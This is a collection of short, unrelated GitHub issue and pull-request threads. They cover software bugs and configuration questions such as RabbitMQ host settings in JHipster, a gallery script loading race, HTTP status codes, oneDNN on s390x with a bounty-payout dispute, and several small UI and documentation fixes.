Coverage decreased (-0.5%) to 93.75% when pulling ca0e2e00b914c9500cf68b92c444bb09036c712e on load into fc80012c23548d67aea7cf9427bf7acc9a89a5d6 on master.


CDI: use the same container for lifetime of app

@geoand  Could you review this change please?

Thank you for reviewing! :)

@thescouser89 Np :)


Volar for spelling and grammar checking for mdx and md

Hi, will it be possible to create a language-server that can do spell-check and grammar for Monaco. Anyone attempted do make this happen or can someone share any pointers on how to approach it?

You don’t need a language server or Volar for that. Instead use monaco-unified.


Odd UI on "Build output folder" section.

Bug description

Unsure if this is an update upstream, but getting an odd looking UI input field for the output folder?
Operating system
mac m1
Version
next (development version)
Steps to reproduce
No response
Relevant log output
No response
Additional context
Any ideas @benoitf @deboer-tim if this happens to be from the

This also affects the search bar on the homepage. I took a quick look, and it looks like the Input is the same as the PD component and the pd color variables are available in both cases, but the bootc webview fails to resolve the colors.

May be small, but I think IMHO we should have this fixed for 1.0.0

I didn't see the notification, I will investigate

Confirmed this is fixed by #396. Thank you Florent!

It looks the checkboxes are not rendering properly as well

so sorry I thought that this one was about the checkboxes not on the input field so yes this one is fixed sorry for the confusion

Yes, you opened #317 for checkboxes. :)


cant use v2ray

I cant use v2ray.. I will attached the picture

cant use v2ray too

hi, still cant use v2ray isaw he updated the script.

same here v2ray panel not working

I can easily fix this one.

This is an issue has been resolved in version 2.5.3


Correct the spelling of a word

I want to correct the spelling of the word "CLOTHS" to "CLOTHES"

I would like to resolve this issue or any other open issue. @rolikaagarwal
Can you assign me this issue?
Heres My Resume which you might find useful: Resume
Ive more than 1 year of experience in android development(check profile for more details)

@codervivek5 I've linked a pull request regarding this issue. Kindly review it. Thanks


Apply aggregate in "interventions.py"

what is this
It is the first time that I contribute to an open source project. I am trying to achieve the "aggregate" design pattern in the project and hopefully simplify the whole structure after those changes.
what I change
After I read the codes in the project, I find out that some methods in "interventions.py" are separtating but working in a similar logic. Therefore, I add a class "Handle_Days" in "interventions.py" and unite those methods together.
Now, the "Handle_Days" become the aggregate root in the file, other methods become the elements of that aggregate roots. To visit and use those methods, developers have to call "Handle_Days".[method_name]

Thanks for the PR -- we're not considering major architectural changes currently, but we appreciate the contribution to open-source software!


oneDNN enablement and 8 bit GEMM support for s390x

Enable oneDNN for s390x and add 8 bit GEMM support optimized for s390x.

Hi, could you elaborate further about the requirements for this feature?

https://github.com/oneapi-src/oneDNN/pull/1551

https://github.com/oneapi-src/oneDNN/issues/1550

Resolved with pull request oneapi-src#1551 .

@edelsohn , please note that bountysource did not cashout this (and bother) bounties.
https://github.com/bountysource/core/issues/1586

@abebeos Other bounty hunters have alerted me to the problem and I have been discussing the issue with Bountysource, The Blockchain Group (the current owner of Bountysource, a French company publicly traded on the EuroNext exchange), and the VC investors in The Blockchain Group for the past few months. The Blockchain Group repeatedly promises me that they will pay the bounties, but nothing happens.  The Blockchain Group commented that they have a concern about the accounts, but refuse to provide details or cooperate with me to investigate and resolve the concern. I have confirmed to them that the bounty hunters and bounty values are correct. The bounty funds have been correctly credited to the bounty hunters within the Bountysource system and IBM had paid the invoices to fund the bounties, so I and IBM have limited recourse.  It it curious why The Blockchain Group has not been able to fulfill these financial obligations of the bounty cashouts.

It it curious why The Blockchain Group has not been able to fulfill these financial obligations of the bounty cashouts.

@edelsohn, as things stand, I believe one can safely assume that bountysource/Blockchain Group embezzles the escrowed bounty funds (e.g. using the money somewhere else, like investing/loosing-it in crypto etc.).

https://github.com/bountysource/core/issues/1586


Update apache-spark-autoscale.md

@santhoshravindran7 - you can't set yourself as the author or ms.author in the public repo without approval from the current author.  you can use the private repo for that ... or the current author @guyhay can approve and sign off on this PR
@guyhay

Can you review this PR?
IMPORTANT: When this content is ready to merge, you must add #sign-off in a comment or the approval may get overlooked.

#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team


how can i change the rabbitmq ip from localhost to my docker-machine ip

since my docker-machine ip is '<IP_ADDRESS>' , how can i change the RabbitMQ ip to the 'docker-machine ip'
➜  ~ docker-machine ip
<IP_ADDRESS>

2018-02-24 22:30:07.621  WARN 5645 --- [q_iWh6Lr_SYA-51] o.s.a.r.l.SimpleMessageListenerContainer : Consumer raised exception, processing can restart if the connection factory supports it. Exception summary: org.springframework.amqp.AmqpConnectException: java.net.ConnectException: Connection refused (Connection refused)
{
"generator-jhipster": {
"promptValues": {
"packageName": "com.mycompany.myapp",
"nativeLanguage": "en"
},
"jhipsterVersion": "4.14.0",
"baseName": "jrabit",
"packageName": "com.mycompany.myapp",
"packageFolder": "com/mycompany/myapp",
"serverPort": "8080",
"authenticationType": "jwt",
"cacheProvider": "ehcache",
"enableHibernateCache": true,
"websocket": false,
"databaseType": "sql",
"devDatabaseType": "h2Disk",
"prodDatabaseType": "mysql",
"searchEngine": false,
"messageBroker": false,
"serviceDiscoveryType": false,
"buildTool": "maven",
"enableSocialSignIn": false,
"enableSwaggerCodegen": false,
"jwtSecretKey": "35bfb0fc8fdb9081a1fd1e1f7120de2c50d464ea",
"clientFramework": "angularX",
"useSass": false,
"clientPackageManager": "yarn",
"applicationType": "monolith",
"testFrameworks": [],
"jhiPrefix": "jhi",
"enableTranslation": true,
"nativeLanguage": "en",
"languages": [
"en"
]
},
"generator-jhipster-spring-cloud-stream": {
"promptValues": {
"messageBrokerType": "RabbitMQ",
"rabbitMqNameOfMessage": "message"
}
}
}

Indeed, it's an interesting question, specially in Production.
Honestly, I don't have the answer, I need to look the official documentation.
But in your case, as you are in Dev, you should look this tips:
http://www.jhipster.tech/tips/020_tip_using_docker_containers_as_localhost_on_mac_and_windows.html
It's a must have, as you use docker-machine

@jnuc093 have you found a way to change the rabbitmq ip configuration?
I've tried reading documentation:
https://docs.spring.io/spring-cloud-stream/docs/current/reference/htmlsingle/#multiple-systems
spring:
    cloud:
      stream:
        bindings:
          input:
              destination: thing1
              binder: rabbit1
          output:
              destination: thing2
              binder: rabbit2
        binders:
            rabbit1:
              type: rabbit
              environment:
                  spring:
                      rabbitmq:
                          host: <host1>

But at boot it always try to connect to a local istance of RabbitMQ...any ideas?


Clicking image too quickly opens image URL instead of gallery

I thought I could get round it with the images fading-in, forcing the user to wait long enough for the gallery to load, but even 1.5sec fade-in is not enough: https://rosiewhitepainting.com/index.html
Am I doing something wrong? Here's the HTML https://github.com/rosiewhitepainting/website/blob/master/index.html
Thanks for providing the gallery, and any assistance for the above issue. Also, where do I attribute you? In the footer or in HTML comments?

Ok, I figured it out.
Baguettebox was failing to load some of the time, because it was set to load asyncronously and as a result it sometimes loaded after the init script had been executed at the bottom of .
My solution was to wrap the init script in window.addEventListener('load', function() { ... } which waits for the whole window and any scripts etc to be ready before executing.

https://habd.as/post/managing-async-dependencies-javascript/


Regtest mode

Is there a way to install electrum server with regtest mode?
It would be very nice to have a regtest mode for developers, because there's a lack of electrum testnet servers.

How many do you need? They're are at least 7.

@kyuupichan thanks, how do I find them? I was using electrum client's getserver from command line and it returned 2 testnets. How do I find more? Does the same process apply for livenet?

Hmm, if the client is working you should see them all. I do when I run it (almost daily) but I'm not at my machine at the moment. You should be running a very recent client though.

I have electrum version 2.7.18.


Incorrect HTTP response code when headers are missing

When querying the Panoptes API, as we know the headers
Accept:application/vnd.api+json; version=1
Content-Type:application/json

need to be specified.
However if you miss them off, it gives 404 NOT FOUND. Which as far as HTTP status codes go, is quite inaccurate.
The response should probably be 415 UNSUPPORTED MEDIA TYPE - see http://stackoverflow.com/questions/11461037/appropriate-http-status-code-for-request-specifying-invalid-content-encoding-hea for discussion of this.
List of HTTP status codes: https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

that media type is supported but that route isn't so it's a 404, from memory. We have a bunch of normal text/html routes that this request could be matching.

closing this since it's expected behaviour for the requested media type.


Add more validation to config; unify some entries; add 4.14 config

Please see individual commits for details. Split for ease of review.

/lgtm


Update Closure Compiler to current release.

Passes 'ant jar' but untested with other build targets.

These changes look good to me.

Thanks! Sorry for the delay.


Preparing API for stripe

What am I trying to do?
I want to use Apple pay with stripe firebase-cloud function to charge the users, while reading the stripe documentation but I noticed that you need to "Prepare your API" https://stripe.com/docs/mobile/ios/standard
What is my question?
In stripe documents it's mentioned that I need to " Prepare my API" (https://stripe.com/docs/mobile/ios/standard) , so if I'm using the firebase stripe cloud function am I still supposed to do this step? If yes how?
Thank you

I did a quick search in that doc for "Prepare" and "Preparing" but didn't find anything. Seems like things may have changes on the Strip docs. Is it all right if I close this?

Closing this out